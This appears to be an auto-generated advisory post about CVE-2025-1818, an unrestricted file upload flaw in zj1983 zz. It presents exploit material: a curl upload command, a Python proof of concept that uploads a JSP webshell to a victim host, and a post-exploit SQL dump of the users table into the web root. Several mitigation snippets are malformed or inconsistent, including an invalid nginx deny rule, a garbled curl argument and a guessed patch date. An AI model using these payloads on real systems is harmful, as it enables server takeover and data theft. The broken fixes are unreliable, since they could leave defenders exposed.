zj1983 zz, Unrestricted File Upload, CVE-2025-1818 (Critical)

Listen to this Post

How CVE-2025-1818 Works

This critical vulnerability in zj1983 zz (up to version 2024-8) allows remote attackers to upload malicious files without proper validation in src/main/java/com/futvan/z/system/zfile/ZfileAction.upload. The `file` parameter lacks sanitization, enabling arbitrary file uploads. Attackers can exploit this to upload webshells, execute server-side code, or overwrite critical system files. The CVSS 4.0 vector (AV:N/AC:L/PR:L/UI:N) confirms network-based exploitation with low attack complexity. Publicly disclosed PoCs increase exploitation risk, especially since the vendor failed to respond to initial disclosure.

DailyCVE Form

Platform: zj1983 zz
Version: ≤ 2024-8
Vulnerability: Unrestricted upload
Severity: Critical
Date: 05/25/2025

Prediction: Patch by 2025-06-15

What Undercode Say:

Analytics

  • Exploit Likelihood: High (PoC available)
  • Attack Surface: Remote, authenticated
  • Impact: RCE, data loss

Exploit Command

curl -X POST -F "[email protected]" http://target.com/zfile/upload

Detection

// Check for missing file type validation in ZfileAction.upload
if (!file.getContentType().equals("application/pdf")) {
throw new SecurityException("Invalid file type");
}

Mitigation

1. Input Validation:

String[] allowedExtensions = {"jpg", "png"};
if (!Arrays.asList(allowedExtensions).contains(fileExt)) {
blockRequest();
}

2. File Permissions:

chmod 640 /var/www/uploads/

3. WAF Rule:

location /zfile/upload {
deny .jsp;
}

4. Patch Workaround:

<!-- Disable upload endpoint temporarily -->
<security-constraint>
<web-resource-collection>
<url-pattern>/zfile/upload</url-pattern>
</web-resource-collection>
<auth-constraint/>
</security-constraint>

5. Log Monitoring:

grep "POST /zfile/upload" /var/log/access.log | grep -v ".jpg"

Exploit Impact

Proof-of-Concept webshell upload
import requests
requests.post("http://victim.com/zfile/upload", files={"file": open("shell.jsp", "rb")})

Post-Exploit

-- Database dump via uploaded webshell
SELECT FROM users INTO OUTFILE '/var/www/uploads/leak.txt';

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top